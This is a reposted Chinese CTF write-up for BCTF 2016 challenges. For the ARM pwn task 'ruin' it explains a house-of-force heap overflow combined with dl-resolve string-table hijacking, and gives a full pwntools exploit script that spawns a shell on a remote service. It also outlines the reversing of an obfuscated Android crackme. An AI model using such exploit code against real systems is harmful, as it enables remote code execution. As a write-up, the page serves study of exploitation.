您的位置:首页 > 产品设计 > UI/UE

Bctf-pwn_ruin-re_lastflower

2016-03-23 11:11 330 查看

Pwn-ruin

用几个词来概括下漏洞原理:Arm+heap overflow(house of force)+dl-resolve

Info leak:



在printf key8时,泄漏堆上地址(secret里放的是堆上地址)。



增大top chunk的大小



可以保证下一次malloc时,申请到任意地址内存



申请内存,覆盖secret, name, key16



使得内存结构为:

Addr data

00010FB4(addr of secret) pointer to name(00010fb8)

00010fb8(addr of name)

00010fbc(addr of key16)

这样的话,可以通过editsecret覆盖key16为任意值,最后通过updatekey16实现任意内存写。



利用dl-resolve的原理,将got中atoi的改为地址未解析前的数值,然后在堆上构造fake string table,并将dynamic段中的字符串表地址改为fake string table的地址。这个fake string table里'atoi'被修改为了'system',所以在下一次进行地址解析的时候,将会解析到system的地址,所以下一次调用到atoi时候,将会调用到system。顺利拿到shell。



from pwn import *
import time
#by wah
#context.log_level = 'debug'
#s = remote('127.0.0.1', 10001)
s = remote('166.111.132.49', 9999)
'''
time.sleep(1)
print 'ruin pid is %d' % pwnlib.util.proc.pidof('ruin')[0]
'''
raw_input('go!')

s.recvuntil('please input your 8-bit key:')
s.send('11111111')
heap = s.recvuntil(' ')[8:-1]
heapaddr = u32(heap.ljust(4,'\x00'))
topaddr = heapaddr + 0x8
print 'heap addr is ' + str(heapaddr)
print 'top chunk addr is ' + str(topaddr)

s.recvuntil('please input your 8-bit key:')
s.send('security')
s.recvuntil('Give me your choice(1-4):')
s.sendline('2')
s.recvuntil('please input your secret:')
s.sendline('a'*8 + p32(0) + '\xff\xff\xff\xff')

s.recvuntil('Give me your choice(1-4):')
s.sendline('2')
s.recvuntil('please input your secret:')
s.sendline('')

namelen  = 0x10fa8 + 0x100000000 - 8 - topaddr
namelen = 0xffffffff^namelen+1
s.recvuntil('Give me your choice(1-4):')
s.sendline('3')
s.recvuntil('please input your name length:')
s.sendline('-' + str(namelen))
s.recvuntil('enter your name:')
#s.sendline('namename')

s.recvuntil('Give me your choice(1-4):')
s.sendline('1')
s.recvuntil('enter the new 16-bit key:')
#s.send(p32(0x00008594)*4)
s.send('a'*4 + p32(0x10fb8) + p32(0x10fb4)*2)

s.recvuntil('Give me your choice(1-4):')
s.sendline('2')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x200
s.sendline(2*p32(strtabaddr))

s.recvuntil('Give me your choice(1-4):')
s.sendline('1')
s.recvuntil('enter the new 16-bit key:')
print len('\x00libc.so.6\x00exit\x00')
s.send('\x00libc.so.6\x00exit\x00')

s.recvuntil('Give me your choice(1-4):')
s.sendline('2')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x210
s.sendline(2*p32(strtabaddr))

s.recvuntil('Give me your choice(1-4):')
s.sendline('1')
s.recvuntil('enter the new 16-bit key:')
print len('strncmp\x00puts\x00__s')
s.send('strncmp\x00puts\x00__s')

s.recvuntil('Give me your choice(1-4):')
s.sendline('2')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x220
s.sendline(2*p32(strtabaddr))

s.recvuntil('Give me your choice(1-4):')
s.sendline('1')
s.recvuntil('enter the new 16-bit key:')
print len('tack_chk_fail\x00ab')
s.send('tack_chk_fail\x00ab')#ort\x00

s.recvuntil('Give me your choice(1-4):')
s.sendline('2')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x230
s.sendline(2*p32(strtabaddr))

s.recvuntil('Give me your choice(1-4):')
s.sendline('1')
s.recvuntil('enter the new 16-bit key:')
print len('ort\x00stdin\x00printf')
s.send('ort\x00stdin\x00printf')#

s.recvuntil('Give me your choice(1-4):')
s.sendline('2')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x240
s.sendline(2*p32(strtabaddr))

s.recvuntil('Give me your choice(1-4):')
s.sendline('1')
s.recvuntil('enter the new 16-bit key:')
print len('\x00fgets\x00stdout\x00ma')
s.send('\x00fgets\x00stdout\x00ma')#

s.recvuntil('Give me your choice(1-4):')
s.sendline('2')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x250
s.sendline(2*p32(strtabaddr))

s.recvuntil('Give me your choice(1-4):')
s.sendline('1')
s.recvuntil('enter the new 16-bit key:')
print len('lloc\x00fread\x00syste')
s.send('lloc\x00fread\x00syste')#

s.recvuntil('Give me your choice(1-4):')
s.sendline('2')
s.recvuntil('please input your secret:')
strtabaddr = heapaddr + 0x260
s.sendline(2*p32(strtabaddr))

s.recvuntil('Give me your choice(1-4):')
s.sendline('1')
s.recvuntil('enter the new 16-bit key:')
print len('m\x00setbuf\x00__libc_')
s.send('m\x00setbuf\x00__libc_')

s.recvuntil('Give me your choice(1-4):')
s.sendline('2')
s.recvuntil('please input your secret:')
dynamic = 0x10ea0+4
s.sendline(2*p32(dynamic))

s.recvuntil('Give me your choice(1-4):')
s.sendline('1')
s.recvuntil('enter the new 16-bit key:')
s.send(p32(heapaddr + 0x200) + p32(6) + p32(0x00008294) + p32(0x0000000a))

s.recvuntil('Give me your choice(1-4):')
s.sendline('2')
s.recvuntil('please input your secret:')
atoigot = 0x00010F80
s.sendline(2*p32(atoigot))

s.recvuntil('Give me your choice(1-4):')
s.sendline('1')
s.recvuntil('enter the new 16-bit key:')
print len(4*p32(0x8574))
s.send(4*p32(0x8574))

s.recvuntil('Give me your choice(1-4):')
s.sendline('/bin/sh;')
s.interactive()


Lostflower

Android的逆向,代码经过了llvm分支混淆,简直不能看,突然想起来在ISG2015的时候,也遇到这样一个题,不过比这个简单不少,但是明白了一点:把握住关键函数就可以。



猜测让v13等于就可以,就是猜的!

进入check1,在my_pow()处下断点,进行观察函数功能。



在sub_1aa4处下断点,观察函数功能。



猜测让v11<0就可以,就是猜的!

调试过程中,发现my_pow做的是数的10次方,一共调用了10次my_pow后,断在sub_1aa4处,经过多次测试,sub_1aa4求的是绝对值。10次my_pow做的是将输入数字的每一位进行10次方后进行求和,减去数字本身后,最后传入到sub_1aa4。32位数的范围是-2^32到2^31-1,那么如果传入sub_1aa4的是-2^32,那么返回值是0x80000000,那么会被当作负数。

好了,思路理清楚后,就准备爆破(长度为10数字),调试的时候发现,如果输入的数字大于0x7fffffff,都会以0x7fffffff处理,所以搜索的空间大大减小。写了一个小程序,大概1分钟出结果。

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: